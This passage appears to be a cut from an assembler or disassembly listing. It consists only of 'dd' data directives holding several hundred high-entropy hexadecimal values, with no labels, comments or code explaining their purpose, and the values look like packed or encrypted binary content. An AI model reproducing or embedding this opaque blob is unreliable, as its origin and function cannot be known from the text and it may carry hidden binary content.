		dd 50B181FDh, 1C9D14A6h, 40C7B6D1h, 0E85E41A5h,	5CA43AB2h
		dd 1C109300h, 3B0156BEh, 284428A8h, 0AEB800A4h,	3D98A7BAh
		dd 63000BE6h, 7EF10396h, 5F4ECAh, 17F57F50h, 2243B765h
		dd 85895D65h, 59004CB8h, 4C763F5Ah, 0FB006A9Fh,	658CE9EFh
		dd 17DB570Ah, 700F87BCh, 0AC711950h, 4111610Ch,	0F02DC1A5h
		dd 0A790294h, 0CA957490h, 0B5501055h, 4DD60B9Ah, 0B0380DA5h
		dd 68926006h, 4D9CF952h, 7949801Ch, 0E61545C5h,	58AAE961h
		dd 0FE710738h, 40B1CF4Ah, 897441B7h, 0C1D03E54h, 54F02Dh
		dd 0F911DDCCh, 48570046h, 5528778h, 85029FEFh, 9A203B3Ah
		dd 0EFF244Eh, 0D14D0067h, 29A13DE1h, 348E956h, 418C7744h
		dd 1700697Bh, 0F8907328h, 187FCCDCh, 9060130Ah,	4A00A87Bh
		dd 1C94CA1Ah, 0CB1EBFDAh, 0E4B88568h, 4D03BD81h, 0EFFC32B8h
		dd 0B104A9E2h, 0A9BD8F3h, 0D667002Dh, 87531934h, 611C7869h
		dd 80FF57F6h, 1CE68A2h,	0F7CC16h, 54537A99h, 1FBC2E91h
		dd 0DBA83609h, 885847h,	0B099AF51h, 7B8F7116h, 17785207h
		dd 906147E3h, 64309845h, 5BF73DC8h, 0E4303587h,	5E4E0018h
		dd 0CA008FB7h, 6D139CE1h, 495060h, 1198267h, 0C2FFC1B1h
		dd 68D23301h, 41B3164Fh, 0D660A852h, 0DB946044h, 0DA00A3DEh
		dd 762BDCC6h, 0E811E269h, 36CB0B1h, 4A6532FEh, 410FF3C4h
		dd 40D0E529h, 0B30333D7h, 3931094Fh, 0B820B294h, 1EEA053Ah
		dd 0B8863413h, 55068000h, 175ED3E6h, 7A7F22Bh, 0E176C914h
		dd 0C00B33FAh, 37035CFh, 0D6C6B600h, 5363711Fh,	0B015009Bh
		dd 0A9F16D59h, 4E06CFC8h, 0D21B5078h, 0C2420020h, 4C41749Bh
		dd 0C3F6B55Ch, 93E79C05h, 78813C85h, 5DEC870Dh,	0F080B733h
		dd 38B7EDE9h, 91823D00h, 5628C1Fh, 0D4081C39h, 9582BAADh
		dd 7B22DF2Dh, 0C7843874h, 74403C06h, 0C9C439EEh, 0EA980D03h
		dd 0F8A813E1h, 0C072D06Ch, 0BF8C5828h, 0DA5F2875h, 1FFA671Fh
		dd 481EF6EDh, 0A42B490Ah, 38BA6700h, 0E281B7BFh, 1223E008h
		dd 0B04E55CFh, 0A0009908h, 0B117E962h, 0BA6327h, 71E6F26h
		dd 51D3BC73h, 8806BD00h, 0D0CE099Dh, 0EE4A262Ch, 85D2008Eh
		dd 6CCDDD1Dh, 0F2611900h, 0CCD6C5C2h, 0BE63090Ch, 34688ADCh
		dd 100E0E6h, 12E3E8D8h,	1E7BC9BCh, 41AE48C2h, 3181B151h
		dd 9E6920FBh, 7D26200h,	1CAF77F2h, 0E69A01BDh, 84957B6Ah
		dd 0C465DC2Eh, 4527CB0Ch, 7C86035h, 0B299AD74h,	0FFAF900Dh
		dd 8524AECAh, 308C2470h, 1606C8BBh, 3122EC08h, 9B449Ch
		dd 1519CBh, 4BAB92Eh, 8DEE6884h, 0C20BFD00h, 171B6D56h
		dd 0DBF4093Eh, 0EE02FCBFh, 40E2897Dh, 88F1EC8Bh, 7094F409h
		dd 682E0220h, 7813E4D5h, 0C03050E1h, 84B06734h,	0A08E642Ch
		dd 1B85925h, 507DCAEDh,	912C340Eh, 12F49913h, 0CEF2B858h
		dd 187600CDh, 0A7468FFAh, 0E4793DB8h, 816BD700h, 74B09F36h
		dd 0A10C03BEh, 0AD6E4404h, 3E2238D0h, 0BEE1AE26h, 9B16CA00h
		dd 53C87Dh, 5BB4EA3Bh
		dd 47EFAD8Eh, 5C9C8904h, 0C8ECF3DBh, 4992A51Eh,	70502E0Ah
		dd 8316F604h, 68E4BFC7h, 0C18E009Eh, 37B71A58h,	711D133Dh
		dd 7054F990h, 28961394h, 24437882h, 0B04E3FBh, 30526EE8h
		dd 825114h, 4C844636h, 907AC389h, 4CAC752Ch, 0EE56FD80h
		dd 0EAF1701h, 6B7DDF93h, 30A050C9h, 0A51C51D8h,	4611B8B3h
		dd 4140FFCAh, 0A9C591h,	4D85D8E6h, 0B338FC6Fh, 1094B82Ch
		dd 0A580C062h, 1F76Fh, 9598B404h, 5EC715CBh, 0A7D30A02h
		dd 0F2AEC18Ch, 523C3DDCh, 40898880h, 73A367D8h,	9BED2304h
		dd 548035D9h, 27C97CB0h, 3C208278h, 0B808D1DDh,	135E4912h
		dd 0EA9B0440h, 0A73028F9h, 0D088256Ch, 0B0C5526Ch, 9B096BA8h
		dd 0C1FA1552h, 150DDBACh, 4B948EACh, 0CF95CC30h, 68980F6Ah
		dd 1AE3E218h, 0E0EC5003h, 0AF547668h, 0F4E737C8h, 0E53CEAD6h
		dd 0FD20F050h, 0F8AB501Eh, 0F0B8FE0Ah, 23405C9Dh, 6001A600h
		dd 686F5158h, 80A4E902h, 80ED3635h, 8B99F6F4h, 0ABE22555h
		dd 5F8D8C60h, 3D2EAA00h, 4D1BBAB5h, 5C4158B1h, 0B96D3903h
		dd 115B7B14h, 49D04C0h,	9ECF013Bh, 50B9F642h, 329B3002h
		dd 5CD6D12Ch, 0A535B208h, 457B48C0h, 25BCCD17h,	96A72440h
		dd 6F30FB74h, 401629F6h, 0FE2ED450h, 2755725Ch,	0DFC0CBB8h
		dd 1600A232h, 14AE7B11h, 54E03447h, 0FA19018h, 0E193E51Bh
		dd 610A96A0h, 0DFFA26DBh, 0FBB2450Bh, 0F5CB0094h, 380EF03h
		dd 0BD6150CCh, 6A08E23h, 0FA079F3Ah, 75387D5Dh,	7795DE40h
		dd 0E42D002Ch, 470E6274h, 19008364h, 9A1349CFh,	5D7A1h
		dd 0E5C76BD4h, 6D7E3979h, 5500387Ch, 0EFB2CE20h, 1FBA50h
		dd 0F929C95Ah, 0E71A73A8h, 0AD610D00h, 0DFFD6D4Eh, 0B6ED000Eh
		dd 0E4F03306h, 5C90CCF3h, 28524Ch, 0E857A09Fh, 0C3FCDCh
		dd 948A29BFh, 229B6FCEh, 0E7231A00h, 0D0A001DFh, 708E9FAEh
		dd 72092588h, 0B0F865h,	0B3E3B2Ch, 598C89CEh, 0D7D49B00h
		dd 201C4BA3h, 0E1020123h, 2977C4F3h, 40C02BAEh,	40E5C64h
		dd 5AA818C0h, 24C8A887h, 23030057h, 0BF9C533Fh,	549F65F0h
		dd 0B90700D1h, 0B7521EB4h, 52EDFFEAh, 5D3CDCh, 708E09D0h
		dd 0A61200C2h, 0E06D0BA1h, 69026653h, 4EA27C77h, 0FE4A087h
		dd 2D282589h, 9CE0B719h, 43885398h, 5AF638C7h, 0E304705Ch
		dd 0F2847917h, 42E4024Ch, 408FE08Eh, 0E8D384h, 71954116h
		dd 0A9686D1Eh, 97436200h, 0C613FD7Ah, 3BCC02DDh, 29AD60B9h
		dd 74501C78h, 0D71EE328h, 2380BE02h, 3EEE908h, 7C420036h
		dd 0B215F446h, 1E000A97h, 206EE398h, 166ABA05h,	0FB8FE9Ah
		dd 0ED008650h, 479171D1h, 800A793Eh, 3F2E2D5h, 0E3424Dh
		dd 7FA1B598h, 955D4ECAh, 6D3BDA00h, 2D17DBE6h, 82550061h
		dd 0A169D63Eh, 0EB002171h, 2477C576h, 59E810h, 0F6C05A2Bh
		dd 0DA49C2A0h, 6309E307h, 0AFA0A14Ah, 3AD93Dh, 0C85E9F44h
		dd 0B1E66F4Ch, 0E9286100h, 0D9B8A4B3h, 84F40E47h, 5B206079h
		dd 8B3026C5h, 0AA404600h, 6191C635h, 3C0BEC0h, 19D9F6A4h
		dd 9DEF54F8h, 2F22900h,	0ADFF4DB9h, 0E8803F85h,	719FFE80h
		dd 0F84006A0h, 89DA0A0Eh, 1BE16454h, 67B65880h,	0CB9031h
		dd 0C5D6DB47h, 78168B40h, 6319AD00h, 3C9CA82Ch,	5B3D0084h
		dd 0E3449305h, 0F10C8D5Dh, 2AFC766Bh, 0BB9600E0h, 367E057Bh
		dd 0DA9881C5h, 37E04095h, 8F0800EAh, 0D851B187h, 9F7E53CFh
		dd 70E8F0A3h, 3200D069h, 0F781E8B9h, 0F68A92h, 43D74E3Fh
		dd 8D21048Ch, 6DB7D600h, 0FCA19DD9h, 0D0F35C1Ah, 0ED55A205h
		dd 918ECE3h, 20145F4Ah,	31EB9E74h, 52E800E7h, 8B91FCDh
		dd 0CE006D03h, 777BA841h, 2516DDh, 0B765B4E5h, 59BA020h
		dd 0EF91670Eh, 0B05442C6h, 0A0D86B13h, 90DADDFh, 0F6E6DA01h
		dd 0FAD62300h, 0BF072F45h, 0C84F9302h, 1F025F6h, 78072AFh
		dd 0F4C939FFh, 0B5DB48h, 0E962A878h, 0AA5804E0h, 0BFF96031h
		dd 0B76E4000h, 0BB4ED6h, 5998C04h, 51E5404Fh, 0C00C154Eh
		dd 2C1AF0F2h, 584464CEh, 58046E7Bh, 212F8338h, 1A9ACB0h
		dd 9788D823h, 3060135Ch, 0D40CEA66h, 0B952F8D3h, 8F16115Ah
		dd 8E0B3BA5h, 7E5B62DDh, 7FA4AC40h, 0F1FA73h, 3D44BE4Ch
		dd 0BC8D06FCh, 80CB553Ch, 7A13CA5Eh, 396117ABh,	0AAADF530h
		dd 7571F840h, 0D4EED02Ah, 0C1297612h, 59D3E430h, 0F67200A0h
		dd 0A183CA05h, 29F06847h, 0DD8F400h, 9A309523h,	64150071h
		dd 693F7F5Fh, 7400C78Dh, 0ADF102BEh, 96254926h,	0F4907700h
		dd 6359E4C0h, 9000FD72h, 5EE05B87h, 2C7CACh, 31CAFBC8h
		dd 48DCB50Ch, 9C00E576h, 0A79F64B0h, 1D608DDh, 0FD4F2471h
		dd 30CBEF8Ah, 0AB1F7794h, 99871D0Ch, 0E5D0699Ch, 6F9D1C7h
		dd 0F59161EAh, 7D002830h, 0C07196B1h, 0CCC2D9h,	46122258h
		dd 344FA380h, 0E1B49117h, 74BD6403h, 209C803h, 6D790088h
		dd 0B74D5266h, 0AC008F18h, 6950203Eh, 0BF273514h, 0E50EFB40h
		dd 8D8A2Dh, 8C5622D4h, 859C00FFh, 14AB46EEh, 0C0728995h
		dd 17B6AD0Eh, 1F3D828Eh, 58D42Eh, 0D00D6F14h, 8095753Bh
		dd 0C40EF9E8h, 8084006Eh, 99AA9A4Bh, 0BB146A24h, 1B87027h
		dd 52CCD9BCh, 29831C67h, 20D4F3A4h, 6BBD5DD8h, 94611603h
		dd 0B8795EA9h, 0F34E686h, 0FD043945h, 0AED114C0h, 0CB25D6B1h
		dd 0B0ACD001h, 0A19E01BAh, 0EAE7806Eh, 3835F0B6h, 8E0054Ah
		dd 0C89F0150h, 8DAECECBh, 4C886C47h, 22700124h,	6CBA08B8h
		dd 0FA6054C5h, 46E316B3h, 0CFAC015Ch, 2894FFEBh, 401CCE34h
		dd 0D26766B1h, 0A416024Ch, 0A6EF39EBh, 58788057h, 176D224Ah
		dd 0FDD719h, 1CD1577Ch,	0C203ABA1h, 0B29011B4h,	54FAB0B8h
		dd 83130099h, 5FAD4BFDh, 0EE715BA6h, 3058FE06h,	1D20B36Dh
		dd 8067FFEFh, 779DEBEAh, 0D0255168h, 2F880B9h, 2B13CC2h
		dd 9304CAB3h, 0A0C01282h, 2A891063h, 0DD00E608h, 34126BDh
		dd 0E3D42DBh, 0F9F6A897h, 8ADA3C1h, 0F0006F43h,	0E55E8EC3h
		dd 984EF007h, 443503B4h, 0C087DBEEh, 480098AEh,	0B03D8CC2h
		dd 31F9BBCDh, 0D5700290h, 0B8802B83h, 8D433Eh, 784563FDh
		dd 0F5B213DEh, 1DD73702h, 7ED83955h, 0F7D60070h, 0FAD9DEE1h
		dd 723C93E6h, 271C0085h, 785ED8A5h, 108E4C5Dh, 0EFDF5800h
		dd 85E30A98h, 7F00B09Ah, 24528690h, 0D4A1CEh, 20EA535Ah
		dd 0BC95BBF0h, 8C7D2100h, 946F4DC4h, 43E6045Fh,	0A2AA451Dh
		dd 0A3A200FCh, 33519531h, 0B2D0FF30h, 0E6C516E4h, 55D0B019h
		dd 83048E1Eh, 2C901603h, 5550A20Eh, 94F55010h, 36F4880Eh
		dd 24C3A045h, 0ADBA35h,	21CF9722h, 46E87D98h, 8A08A4Ah
		dd 0C1164E5Dh, 0CC3FDD54h, 8E037EF5h, 0D94C43FAh, 20FCB045h
		dd 0C10D008Dh, 36AF53E6h, 0FD000E2Eh, 46C47B82h, 378C5CDh
		dd 758C1992h, 9C885A21h, 430EE213h, 640B7FC1h, 5C978BD6h
		dd 8F362C0h, 0A611D8BEh, 4800C176h, 0C9D4B096h,	1A5058h
		dd 0A658DC2h, 0D1DDD50Eh, 0BF64031Dh, 0A0480F6Dh, 53F6E730h
		dd 521F3AB9h, 76548100h, 4815AF7Ch, 249C3C01h, 801D4B34h
		dd 98F470h, 6419FBA0h, 6CA1784Fh, 0BF8B5101h, 0CACF670Bh
		dd 0D2E5CC71h, 0E355D840h, 91EF011Fh, 52A18946h, 2183D84Eh
		dd 16544B04h, 3CA0AE02h, 0E882B5AFh, 7C1956Dh, 18C32A7Eh
		dd 0A180F7EDh, 0CA513C1h, 0AD5DE1A0h, 2F5E5FF0h, 41E34880h
		dd 0FE1407F7h, 44D529DDh, 7D480E6h, 9C00ED81h, 5DB16686h
		dd 7F9D35h, 7A2FB510h
		dd 4988505h, 0A2514700h, 9C913148h, 0B01A4BB9h,	0AB141818h
		dd 84F42359h, 5100D796h, 0A057EB22h, 633E930h, 0EEE828Ah
		dd 39CD5837h, 811508C0h, 0DA02B501h, 222AA35Fh,	0B080551Ah
		dd 0B9C13AD0h, 80F8C095h, 4E151469h, 0D608F45Bh, 1202B537h
		dd 0C1C6C77Eh, 42C0EC8h, 7FE1BC0h, 0D0314C1h, 8F2E09A2h
		dd 90E9FBBAh, 0E87B87Eh, 0CD035383h, 0F60407Dh,	9C682730h
		dd 625C8DFEh, 38DA0088h, 2313AD2Dh, 0C7F3003Ah,	0A58E7A96h
		dd 5D266E57h, 3E0438BCh, 5081DFEh, 8D28FA04h, 0F15D8E0h
		dd 3CE27C49h, 308FB649h, 88C25FDFh, 700BC6Ch, 0D67DE19Bh
		dd 5E710985h, 0DCC0DCB7h, 264EBCFBh, 0E70E5007h, 6ACF7420h
		dd 48DD7Fh, 9DADBC35h, 0F314D3DAh, 0A7EE6Ch, 98A8CD18h
		dd 5A294511h, 54882760h, 28B016CFh, 0F160FBA0h,	2137E98h
		dd 9D415187h, 4C431F05h, 0A6279CF8h, 0A3EED90Ch, 3A2DF8D5h
		dd 7B01C560h, 0DB2A5FE6h, 8047F4Dh, 214A522Eh, 0EB42ABAh
		dd 73E8463Bh, 496A25h, 5DCDAEDAh, 50286F3Fh, 4B77B8C2h
		dd 34D79B07h, 5A0A024h,	11420Eh, 1B168BC1h, 65E195DAh
		dd 0F6B44800h, 0E281EE04h, 0EC494CEDh, 339A9C87h, 66E932A7h
		dd 5842E89Bh, 91E8A0B8h, 0C3162201h, 17670DFDh,	0B43DCh
		dd 65278793h, 5B0CF2A6h, 46A3E300h, 33F19E10h, 0A406077Fh
		dd 0B295DE51h, 14E6E61Ch, 0FA870DA0h, 15473600h, 0A2CD26A1h
		dd 0CC2097A5h, 7397A86Eh, 0BDF34300h, 2BE0454Ah, 42DF05AFh
		dd 0A83FFA88h, 0ED7772F6h, 0D59938h, 0E3F4BACAh, 0F6F9BF73h
		dd 12AE012Ah, 7AAA770Dh, 5AC4C0EEh, 0EFE43000h,	0EB3620EDh
		dd 8A5E00B1h, 0C8D2C273h, 6201B010h, 0F6FBC514h, 4F6BD655h
		dd 0B5E29564h, 98509A61h, 0F9C220Ah, 4C81D0C5h,	0F6412C9Bh
		dd 0CD7E1181h, 0F0B965DDh, 68001B3Ch, 6B1E51A2h, 251F50A5h
		dd 34D8A66Ch, 2245AA00h, 2146A96Eh, 0CA8506Dh, 74280C2Fh
		dd 45083FAFh, 0BE0C9F18h, 0CDA4291h, 0FA388841h, 70F40A11h
		dd 234AB6F8h, 644DA8E4h, 34031BDh, 12427Ch, 90DD7128h
		dd 9593FD4Bh, 4E3148h, 5711E64Eh, 9CC5C0Ch, 0A5A174F6h
		dd 5E830C5Eh, 413A4442h, 9F203048h, 5DD90029h, 5163991Bh
		dd 211FFA15h, 26C0487Bh, 5ADE30A1h, 1B7C3C82h, 0C9D8E3CAh
		dd 6070D67Eh, 0D2CC6106h, 5EEF1D00h, 0A38CF28Eh, 31E5FEDBh
		dd 7722B6B8h, 0FF4AF01Eh, 788B3B03h, 0F81637E0h, 5E6D92Fh
		dd 6170208h, 8084272Bh,	3C6C10A7h, 0B1BBDA00h, 0EBCE7389h
		dd 0E09FF214h, 9EF805ABh, 0C03E94E3h, 30BE1978h, 8FE748A0h
		dd 2E9D3B00h, 8C36F8DBh, 0ECD97CDDh, 554A056Fh,	40E5A273h
		dd 19C18994h, 3924E9F5h, 8403CCF3h, 0B041F862h,	3736122Fh
		dd 0E0993406h, 0BCA0FA82h, 0D7C8DC00h, 64245B72h, 12811EC5h
		dd 8368C039h, 8E1F7B28h, 1A260D04h, 1D498637h, 3C0ABE80h
		dd 0E260A280h, 70857B81h, 74C300D9h, 0E8954BFFh, 78C80969h
		dd 7F00B933h, 52A91897h, 0CC1E426Ah, 6943EC21h,	0D85FB6D9h
		dd 5A788E3Fh, 0B438A408h, 0E325F207h, 4AC0F1B2h, 37F3712h
		dd 0F7571F7Ah, 0E0A07B9Eh, 3C012771h, 983B155Dh, 0F3CDA729h
		dd 15730AFCh, 54863699h, 4B8EA100h, 216C4D93h, 63C3B100h
		dd 325F2A17h, 0B6390353h, 0EF412FBCh, 60BE313Eh, 564ACAF9h
		dd 71090706h, 20D4F32Bh, 7D5C9B99h, 0EC15BD00h,	0A1BECA8Bh
		dd 3BBB000Eh, 23C354DDh, 19006E6Ch, 0DFF69F2Ch,	149D53AFh
		dd 2C25BE12h, 0B8C3BF00h, 614BBB2Ah, 1A781601h,	51941C57h
		dd 3E2F8440h, 4248A1E3h, 15B32810h, 82D81E00h, 0ED9E60B7h
		dd 4CBE18D7h, 1CE7201Fh, 0C8E39600h, 71260957h,	9A210EBAh
		dd 0DC8954h, 0BC0C1598h, 0D5002366h, 0D33BCE24h, 1D0E9B30h
		dd 6BF29E2h, 109AFEACh,	1C82B23h, 0BF3CC435h, 36319D10h
		dd 41D03A8Ch, 7DDE4C8Ch, 9E048B29h, 10835874h, 41787B48h
		dd 0FE21E260h, 3E7B1D5h, 9012D767h, 830BF5Fh, 0CE2121FAh
		dd 0F37F03B1h, 0C811CB6Eh, 3F08A2E0h, 8D7C8A18h, 75F8061h
		dd 3EEDE84Fh, 0C6E281E5h, 9A818F7Eh, 407DF4Dh, 0FBD3B06Ah
		dd 90083032h, 4F45C121h, 28529703h, 98625FECh, 1DBAF46h
		dd 0D5C60D54h, 0C0A5ED76h, 0C828FADCh, 58066C80h, 0F263348Ch
		dd 0EA0E0711h, 277D9A1h, 85E17F03h, 4095D302h, 0A1E2348Ch
		dd 9C44D7ACh, 0F3B00D9h, 92C2EF86h, 2300013Dh, 1BB0822Eh
		dd 0EC6A70h, 1755468Fh,	11FDDBD8h, 0A0C7E944h, 38190F44h
		dd 7906E715h, 1989C852h, 0E4728D07h, 1CF3EFF6h,	225E90A7h
		dd 876E00FFh, 5953959Bh, 60A4318Ch, 0D6A1E702h,	1902E877h
		dd 0DF311006h, 933F00A1h, 0FD055E9Bh, 91C6E014h, 81D83BD6h
		dd 0D41840F0h, 67E6B108h, 44F8C4CFh, 90C0CD20h,	3940D63h
		dd 0FE2477A0h, 2138FB17h, 810431EDh, 9C539DD7h,	2AB68082h
		dd 2C5900A8h, 41CB554Eh, 5002BAD9h, 0C86C47FFh,	0A784A085h
		dd 422FC4h, 0FE0DC3Ch, 9FF2258Ch, 0F5F74301h, 8FD6CFDEh
		dd 3BAB5980h, 4B154C3Eh, 33329F5Ch, 0A30823h, 3E33D021h
		dd 7B518CDh, 609B3C0Ch,	276697Ch, 0E9D11178h, 848491D8h
		dd 0B1B06744h, 8CEF67EAh, 24F544h, 0ED98B1D1h, 0EA756A72h
		dd 0FBE119C1h, 6C602C53h, 18B90C60h, 46C0DDA2h,	3718CB89h
		dd 15483E08h, 49A7C42Bh, 0D12A80CCh, 0F982A1h, 28DF0874h
		dd 0BADA0F4Eh, 4410FD0Dh, 600B787Bh, 94C0F688h,	7A40E0FFh
		dd 0F5062405h, 1AFD892Ch, 7D71410h, 4D52AB02h, 8074F465h
		dd 0E33D9574h, 40B00F7Eh, 676E6244h, 7CA77522h,	603F4884h
		dd 23E5B1D3h, 0F311C767h, 0B1CC1F00h, 0E9FEA071h, 0FFED9904h
		dd 4E008C2Ah, 6F4169ECh, 0DC3D5D07h, 821EB3Fh, 99BC5AABh
		dd 0BD635F00h, 0D78A1A3Ch, 0C4A09255h, 0C20F375Dh, 8CDC52A3h
		dd 6074D905h, 0E25579EDh, 510FFF19h, 0A0FB5636h, 0EA5F1E90h
		dd 8771177Dh, 150606E0h, 0E08130DFh, 83C18D0h, 53154D3Eh
		dd 0D143A2C4h, 9E03E34h, 0FD249C4Ah, 0ED43A40Eh, 30E18E01h
		dd 0BE319AD7h, 0A800A49Eh, 95833ED5h, 19EA0646h, 0F0B709C4h
		dd 6B9A1062h, 2664928Dh, 4708FC63h, 0E229C142h,	3C65D866h
		dd 8C3FFE0Eh, 79DB2D75h, 0F788F84Eh, 0B3B07C0h,	442D26C5h
		dd 5E00CBE4h, 639B1976h, 0E491CA67h, 0E8D8DBC4h, 374F0846h
		dd 0BA703204h, 7B4F033Eh, 0E4757229h, 0C5097900h, 89D6B44Dh
		dd 71946176h, 807D6A9Ah, 194FDA39h, 3C5D599Ch, 58E476h
		dd 0C197A20Eh, 91CEC580h, 0FCA13F50h, 83E05309h, 0EA16B020h
		dd 0E04684F2h, 3C4F4B02h, 94315A04h, 4F43BF10h,	3F8DE30Fh
		dd 78440076h, 0C081C6ECh, 0DBA8F921h, 75FECE3Ch, 3DD180F5h
		dd 1F0695C3h, 0E6F6F89Fh, 38620031h, 0EA55DEA8h, 0F15408EDh
		dd 20B254E4h, 61E091F7h, 0A56E890Ah, 8E664284h,	7EFD6323h
		dd 47EC1C39h, 0ABACFFADh, 333700F1h, 683D1E62h,	88E5382Ch
		dd 499FD78Ch, 4F3A00EAh, 0CC361DFh, 161DCCACh, 45814994h
		dd 695A5F7Eh, 121854E4h, 400364A7h, 0CC258E58h,	0E700B0D7h
		dd 0BF86FFB1h, 0E08F2FAFh, 32B600A8h, 0FE384635h, 80B1EF1Ah
		dd 250F8611h, 5B427705h, 8CC08445h, 204B22Ah, 669B4E7Eh
		dd 60620C88h, 0B93ED9FEh, 200CD01h, 0F9851621h,	39CCA3h
		dd 0D62F5876h, 8A9E964Fh, 0E07F7310h, 276D9A13h, 41A2BEF4h
		dd 0C707F165h, 48FF19ACh, 2300C16Ch, 0C8378AF7h, 0BB00BD56h
		dd 5B4B6339h, 48AE7306h
		dd 0FC50B855h, 38048CCCh, 3315493Eh, 0CD20A462h, 38343E30h
		dd 0AF1DA359h, 2063D7CBh, 8933262Ch, 15979900h,	0CD85EA4Dh
		dd 5AC800E6h, 55DC0F7Fh, 8A0014F1h, 0E13D62ADh,	6407C79h
		dd 0C7DE3E0Dh, 0BF00C184h, 9C919DF6h, 1B392A8Dh, 68BCFDB8h
		dd 188E4384h, 0D27C90CFh, 4CCB00C3h, 430654FAh,	0EA0E0788h
		dd 0D8C7E50Fh, 72DC51h,	17C80A55h, 57072619h, 0B6503203h
		dd 536E64Fh, 6EDDEC4h, 181488F4h, 0ABF0DF45h, 7874484Eh
		dd 0D6931382h, 0DCEC2D60h, 2249C00h, 371F2DF2h,	69E50C71h
		dd 0D585051h, 7D1CCB9h,	1D0FA618h, 675B19C1h, 0C9EC6C9Bh
		dd 74E739DAh, 54938960h, 0FD0BEF70h, 1B8E9CDh, 963C4E20h
		dd 2A8CD0D3h, 75EC189Fh, 0BDA431E8h, 7FEECD76h,	0BEF3E412h
		dd 5C202C17h, 0A7DB39h,	0E1C2848h, 504D9D9Bh, 9FA10F05h
		dd 240017FDh, 9438393Eh, 41D30005h, 77E13FE4h, 3898DAFEh
		dd 84C18EDh, 62043D4Fh,	44C070h, 7322914Fh, 945FD08h, 7C629B11h
		dd 96D8760Ch, 0A0006EA1h, 4DB751E8h, 6404185h, 9CBD3CC9h
		dd 0E04C81D3h, 8C92E8D0h, 27043900h, 0BC73B87Bh, 0D138B990h
		dd 738318F4h, 0DFD2958h, 0D5ED1DD0h, 4E3BFCF0h,	0EF64C789h
		dd 40FB6CA4h, 22C3B39Eh, 4FC00FE0h, 487B9D4h, 111D170h
		dd 3EEC20F2h, 394CCC3Bh, 68DD815Fh, 12A30840h, 0CA23E023h
		dd 473E3601h, 0A1182315h, 7F2ECB88h, 0A9BEC3Eh,	24FD7308h
		dd 0A6467424h, 71383503h, 5A8B3239h, 80A0D8C1h,	894FCE21h
		dd 38D46Ah, 1EF66042h, 57A524AFh, 1DEF6B1Fh, 0EC9756C4h
		dd 0A07227C0h, 6EDB09A1h, 6002C352h, 0A4A1E113h, 0D04FD32Fh
		dd 0DDF0E5AFh, 4854F0ACh, 0F0AC42E0h, 1BC9644h,	70694F40h
		dd 0EC5F7AD1h, 290C6A24h, 0A991D6DBh, 0B73709C3h, 6464BC28h
		dd 0F427B200h, 9B4C055Bh, 380CA06Dh, 43ED0025h,	44EC4FB3h
		dd 3D04C806h, 1177DC12h, 0D84AC384h, 9940F064h,	1E69D02Dh
		dd 39254404h, 364DCE09h, 0C13B2064h, 29BA015Fh,	0E1A68511h
		dd 31AF5D4h, 18D99323h,	46A02F6Ch, 80A13FEDh, 0B4918DEh
		dd 4A043A4Fh, 0BD00409Ch, 0BE84F41h, 9C6A8497h,	0C1EA471Ch
		dd 0BCEF04EEh, 0EDEC04A9h, 4CA41C05h, 0C050F374h, 4F0F22h
		dd 935684AFh, 0C55A58C0h, 0DAD0F90Ah, 4AF8D7h, 61028D00h
		dd 0E6A92Fh, 0BCC43E9Ch, 2542FE5Eh, 3F57E109h, 87840660h
		dd 0E2961DA1h, 1E3E0030h, 7D03540h, 0FE2C6A71h,	0A44A50ABh
		dd 991FFF0Dh, 8C30A820h, 0D5A1E602h, 1902E077h,	5E160Bh
		dd 0F76C7EA1h, 6B93E1FFh, 1E41CA14h, 100270B6h,	2D80C903h
		dd 0EAF8608Dh, 0F9F06875h, 0D0FA8054h, 0D3F68E97h, 7C13F00h
		dd 48B1EC28h, 0EE69CB0Fh, 25EFD400h, 87094F19h,	23D54979h
		dd 839708h, 0AE642049h,	17E8F027h, 7925ABE8h, 19D4A029h
		dd 0B22D3h, 0F7C105F4h,	55F17FB0h, 307C6A24h, 79C3C9C7h
		dd 5040A08Ch, 69642E17h, 59498FA4h, 0C0902F8Ah,	77D4A1E5h
		dd 8876D846h, 0A109DD2Fh, 97F6E705h, 80A89100h,	0E8E52A22h
		dd 39A90B9Ch, 80016A3Fh, 8099D73Bh, 0FE56C429h,	70407Eh
		dd 0CA884D29h, 9A318AA8h, 806D633Eh, 55A5D520h,	61F63D60h
		dd 567838E9h, 8D05F19Eh, 0D1F963A8h, 0B6AC7E40h, 0FABC0086h
		dd 69C2CAA9h, 0EC0944ADh, 68FDD430h, 3B3F8B68h,	0CA046FD3h
		dd 80F48C76h, 0D50DB6D8h, 2824A700h, 5C6FE0F9h,	704F073Dh
		dd 9E069552h, 0B581450Eh, 3202EDE2h, 0DA307E0h,	5B207D6Eh
		dd 0FD8FC78h, 319CACF1h, 1E83A789h, 0B0E14C57h,	741993EDh
		dd 5B200097h, 1C82BD80h, 5749D5h, 4175CD42h, 5CF41E86h
		dd 871DCC00h, 0C2C63345h, 0FDCA0C37h, 90416F10h, 55F80400h
		dd 7940750Eh, 65AB003Fh, 1BE08185h, 0FA016C2Eh,	64787F82h
		dd 298072BDh, 83B7D53Dh, 0CE01F5C9h, 0AE3E21C0h, 0FF574Eh
		dd 0DF80CA20h, 9971C9C7h, 81512339h, 2A663A98h,	91E065A1h
		dd 59D20194h, 36C47832h, 806CD12Eh, 93BA8108h, 6ED2BB0Dh
		dd 796306Eh, 701BA9DEh,	503C2B89h, 0FFF91000h, 3AC30666h
		dd 0B7E60367h, 0C018F179h, 0D3EE1000h, 3BFDE810h, 813D033Ch
		dd 49C9D678h, 746D9007h, 0D0B068E3h, 19406Ch, 0C9F151CEh
		dd 90D3750Dh, 0C867E637h, 391C6280h, 18F7005Fh,	0F85804ECh
		dd 8F001D14h, 927DA5C8h, 0A0E743F6h, 4B2218h, 607EA4C6h
		dd 0ABD1ADFh, 0C4206B07h, 0F93064F2h, 0F6DF6D1h, 988701CFh
		dd 6AE41602h, 8F749C80h, 0F0CF451h, 502967D1h, 0C5453AF5h
		dd 0A54EBD00h, 9A08D6BCh, 88200200h, 1C74CC4Bh,	6471005Dh
		dd 468F90FFh, 19032E1Dh, 0FDBE4F6Ah, 0E5981874h, 9AD9A16Eh
		dd 729731Ch, 40CD3A4Eh,	2A1C4B69h, 48270C68h, 7528574Dh
		dd 1D55371Fh, 0A46C0A3Dh, 603EA063h, 682E81A9h,	0C554853h
		dd 0A319D730h, 9B071CC5h, 3C438933h, 0D8F1C080h, 28416481h
		dd 5E3F0EC3h, 7A5E2640h, 0E8ED72DBh, 8308DFD7h,	304D6316h
		dd 28E247D0h, 0E10154FCh, 0E84BFA5Ah, 0DEF0C723h, 193F819h
